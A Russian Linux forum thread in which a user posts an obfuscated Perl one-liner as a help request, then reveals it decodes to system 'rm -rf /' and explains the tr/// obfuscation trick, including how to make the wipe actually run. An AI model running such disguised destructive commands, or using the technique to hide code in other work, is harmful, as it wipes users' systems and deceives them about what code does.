• Версия для печати

программа из одной строчки на Perl

Описание: После удачной (ну... или неудачной) установки очередного сервера хочется расслабиться (или... выпустить пар :-)) и с кем-нибудь поговорить на отвлечённые темы.
Говорим обо всём.
Правила раздела: Условием использования нашего форума, является соблюдение настоящих Правил форума.

Ваш вопрос может быть удален без объяснения причин, если на него есть ответы по приведённым ссылкам, а вы рискуете получить предупреждение.
Модераторы: rewuxiin, kulia

SinglWolf M
Автор темы
Аватара
SinglWolf M
Автор темы
Возраст: 46
Репутация: 199
Лояльность: 71
Сообщения: 1299
С нами: 5 лет 9 месяцев
Откуда: Башкирия
ICQ

#1 SinglWolf » 9 октября 2017, 18:11

помогите, пожалуйста исправить такую программу:

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

- не печатает

Читать обязательно
Во избежание семиэтажных матов (в мой адрес), употребления корвалола в вперемешку с нецензурной лексикой, не тестировать на сервер-продакшене и тем более не запускать (см. выше) из под ROOT

rewuxiin
Супер модератор
Супер модератор
rewuxiin
Супер модератор
Супер модератор
Репутация: 14
Лояльность: 22
Сообщения: 211
С нами: 4 года 11 месяцев

#2 rewuxiin » 9 октября 2017, 18:19

чур меня

kulia M
Аватара
kulia M
Репутация: 25
Лояльность: 22
Сообщения: 132
С нами: 3 года 4 месяца
Откуда: Москва

#3 kulia » 9 октября 2017, 19:08

SinglWolf писал(а):cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Не, ну Вы там на своем птичьем разговариваете, а мне вот даже интересно стало, что тут зашифровано.
Я в таких perl-ах не силен, понаписали тут крикозябликов, а что оно делать то должно??? Понятно что что-то вывести, но не понятно что *CRAZY* :-D
Создал на Линукс-форуме тему "Установка Internet Explorer под Убунту".
Тему удалили через 4 минуты, выдали бан на 10 дней...

SinglWolf M
Автор темы
Аватара
SinglWolf M
Автор темы
Возраст: 46
Репутация: 199
Лояльность: 71
Сообщения: 1299
С нами: 5 лет 9 месяцев
Откуда: Башкирия
ICQ

#4 SinglWolf » 9 октября 2017, 19:40

Там "зашифровано"

Код: Выделить всё

rm -rf /*


Делайте выводы сами. Без комментариев.

kulia M
Аватара
kulia M
Репутация: 25
Лояльность: 22
Сообщения: 132
С нами: 3 года 4 месяца
Откуда: Москва

#5 kulia » 9 октября 2017, 19:51

Теперь понятно что он выводит... из строя :-D
Создал на Линукс-форуме тему "Установка Internet Explorer под Убунту".
Тему удалили через 4 минуты, выдали бан на 10 дней...

SinglWolf M
Автор темы
Аватара
SinglWolf M
Автор темы
Возраст: 46
Репутация: 199
Лояльность: 71
Сообщения: 1299
С нами: 5 лет 9 месяцев
Откуда: Башкирия
ICQ

#6 SinglWolf » 10 октября 2017, 11:29

Кому интересно как работает!
обычная шифровка и немного знания, как работает оператор tr/// он же y///.
создаётся алгоритм шифрования типа ключ -> значение
(часто встречается в путаном коде)

Код: Выделить всё

#!/usr/bin/perl -w
use strict;
##  Патч Бармина
my $str = "=]=>%-{<-|}<&|`{";
 
  my $a1='';
  $a1 =~ s:: !"#$%&'()*+,-./: ;
 print "a1=$a1\n";                         # -/
  my $a2='';
  $a2 =~ s//:;<=>?@/ ;
 print "a2=$a2\n";                         #:-@
  my $a3='';
  $a3 =~ s::[\]^_`: ;
 print "a3=$a3\n";                         #[-`
  my $a4='';
  $a4 =~ s::{|}: ;
 print "a4=$a4\n";                         #{-}
  my $a5='';
  $a5 =~ s::`abcdefghijklmnopqrstuvwxyz{: ;
 print "a5=$a5\n";                         #`-{
 
 $str =~ y# -/:-@[-`{-}#`-{/" -#  ;
 
### (ключ) !"#$%&'()*+,-./:;<=>?@[\]^_`{|}  ###
### (значение)`abcdefghijklmnopqrstuvwxyz{/" -###
# сверху ключ,под ним снизу его значение.
# и посимвольно '=' => 's', ']' => 'y', ....и т.д.
# (шифр) =]=>%-{<-|}<&|`{  ==>  (расшифровка) system"rm -rf /"
 
print "str = $str\n";

используя этот метод можно сделать не явным если не всё,то почти всё в коде.
также решить первоначальный вопрос - почему не работает?
если не Windows, то, например, добавить в конец команды '*', или что-то ещё.
P.S. так что никаких угадываний - чистая математика.


Вернуться в «Курилка»

Кто сейчас на форуме (по активности за 5 минут)

Сейчас этот раздел просматривают: 1 гость